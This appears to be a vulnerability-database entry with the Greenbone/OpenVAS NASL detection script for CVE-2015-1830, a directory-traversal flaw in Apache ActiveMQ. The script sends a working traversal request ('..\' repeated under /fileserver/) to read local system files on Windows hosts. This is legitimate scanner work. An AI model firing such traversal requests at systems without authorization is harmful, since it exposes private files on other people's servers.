9.4 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
0.033 Low
EPSS
Percentile
91.3%
Apache ActiveMQ is prone to a directory-traversal vulnerability because it fails to
sufficiently sanitize user-supplied input.
# Copyright (C) 2015 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:apache:activemq";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105331");
script_version("2022-12-02T10:11:16+0000");
script_cve_id("CVE-2015-1830");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
script_name("Apache ActiveMQ Directory Traversal Vulnerability");
script_tag(name:"last_modification", value:"2022-12-02 10:11:16 +0000 (Fri, 02 Dec 2022)");
script_tag(name:"creation_date", value:"2015-08-24 13:28:31 +0200 (Mon, 24 Aug 2015)");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2015 Greenbone Networks GmbH");
script_dependencies("gb_apache_activemq_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 8161);
script_mandatory_keys("apache/activemq/detected", "Host/runs_windows");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/76452");
script_tag(name:"impact", value:"A remote attacker could exploit this vulnerability using directory-
traversal characters ('../') to create arbitrary files in the target directory and perform other attacks.");
script_tag(name:"vuldetect", value:"Try to read a local file via traversal characters.");
script_tag(name:"solution", value:"Updates are available.");
script_tag(name:"summary", value:"Apache ActiveMQ is prone to a directory-traversal vulnerability because it fails to
sufficiently sanitize user-supplied input.");
script_tag(name:"affected", value:"Apache ActiveMQ 5.x versions prior to 5.11.2 are vulnerable.");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) ) # nb: To have a reference to the Detection-VT
exit( 0 );
files = traversal_files( "windows" );
foreach file( keys( files ) ) {
url = "/fileserver/" + crap( data:"..\\", length:18 ) + "/" + files[file];
if( http_vuln_check( port:port, url:url, pattern:file ) ) {
report = http_report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );